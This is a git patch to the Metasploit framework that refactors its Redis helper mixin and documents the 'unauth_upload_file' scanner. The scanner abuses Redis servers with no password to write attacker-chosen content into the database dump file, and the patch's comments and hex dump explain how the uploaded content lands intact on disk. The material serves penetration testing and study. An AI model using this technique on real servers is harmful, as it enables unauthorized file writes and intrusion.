From 555e52e41657009b7efe492efeea36b29602aba0 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 10 Dec 2015 09:35:46 -0800 Subject: [PATCH] Document the redis upload process more --- lib/msf/core/auxiliary/redis.rb | 113 +++++++++--------- .../scanner/redis/unauth_upload_file.rb | 28 ++++- 2 files changed, 82 insertions(+), 59 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 696a8ed9d6..f0bbd3f090 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -1,70 +1,69 @@ # -*- coding: binary -*- require 'msf/core/exploit' module Msf - -### -# -# This module provides methods for working with redis -# -### -module Auxiliary::Redis - include Msf::Exploit::Remote::Tcp - include Auxiliary::Scanner - include Auxiliary::Report - + ### # - # Initializes an instance of an auxiliary module that interacts with Redis + # This module provides methods for working with redis # + ### + module Auxiliary::Redis + include Msf::Exploit::Remote::Tcp + include Auxiliary::Scanner + include Auxiliary::Report - def initialize(info = {}) - super - register_options( - [ - Opt::RPORT(6379), - ] - ) + # + # Initializes an instance of an auxiliary module that interacts with Redis + # - register_advanced_options( - [ - OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) - ] - ) - end + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(6379) + ] + ) - def peer - "#{rhost}:#{rport}" - end - - def read_timeout - datastore['READ_TIMEOUT'] - end - - def redis_proto(commands) - return if commands.blank? - command = "*#{commands.length}\r\n" - commands.each do |c| - command << "$#{c.length}\r\n#{c}\r\n" + register_advanced_options( + [ + OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) + ] + ) end - command - end - def report_redis(version) - report_service( - host: rhost, - port: rport, - proto: 'tcp', - name: 'redis', - info: "version #{version}" - ) - end + def peer + "#{rhost}:#{rport}" + end - def send_redis_command(*commands) - sock.put(redis_proto(commands)) - data = sock.get_once(-1, read_timeout) - return unless data - data.strip! - vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{Rex::Text.ascii_safe_hex(data, true)}") - data + def read_timeout + datastore['READ_TIMEOUT'] + end + + def redis_proto(commands) + return if commands.blank? + command = "*#{commands.length}\r\n" + commands.each do |c| + command << "$#{c.length}\r\n#{c}\r\n" + end + command + end + + def report_redis(version) + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'redis', + info: "version #{version}" + ) + end + + def send_redis_command(*commands) + sock.put(redis_proto(commands)) + data = sock.get_once(-1, read_timeout) + return unless data + data.strip! + vprint_status("#{peer} -- redis command '#{Rex::Text.ascii_safe_hex(commands.join(' '), true)}' got '#{Rex::Text.ascii_safe_hex(data, true)}'") + data + end end end -end diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 104ab9b0f0..5654c98819 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -18,7 +18,10 @@ class Metasploit3 < Msf::Auxiliary Because redis is unprotected without a password set up. ), 'License' => MSF_LICENSE, - 'Author' => ['Nixawk'], + 'Author' => [ + 'Nixawk', # original metasploit module + 'Jon Hart ' # improved metasploit module + ], 'References' => [ ['URL', 'http://antirez.com/news/96'], ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], @@ -60,6 +63,9 @@ class Metasploit3 < Msf::Auxiliary return unless data.include?('+OK') # set a key in this db that contains our content + # XXX: this does not work well (at all) if the content we are uploading is + # multiline. It also probably doesn't work well if the content isn't + # simple ASCII text key = Rex::Text.rand_text_alpha(32) data = send_redis_command('SET', key, content) return unless data.include?('+OK') @@ -88,7 +94,25 @@ class Metasploit3 < Msf::Auxiliary end def setup - @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile'] + # this is the content we will upload if not running 'check'. We are + # setting a key/value pair in the database to something such that when the + # redis db is saved, the contents of what we are uploading will appear + # intact in the middle of the db itself. The hope is that something + # interpretting this file will ignore or be OK-enough with the rest of the + # file such that what we uploaded will be interpretted as if it contained + # only the contents of what we uploaded. For example, here is a nearly + # empty redis database that started with a single key (foo) value (bar) + # pair, and the contents of what we uploaded was the current data: + # + # 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo| + # 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS| + # 00000020 6e 57 4f 78 76 58 72 73 6a 71 58 4f 43 52 43 6c |nWOxvXrsjqXOCRCl| + # 00000030 66 4b 6a 54 73 47 1e 0a 54 68 75 20 44 65 63 20 |fKjTsG..Thu Dec | + # 00000040 31 30 20 30 39 3a 30 35 3a 32 39 20 50 53 54 20 |10 09:05:29 PST | + # 00000050 32 30 31 35 0a ff + # + # as you can see, the current date exists on its own on a separate line + @upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile'] end def run_host(_ip)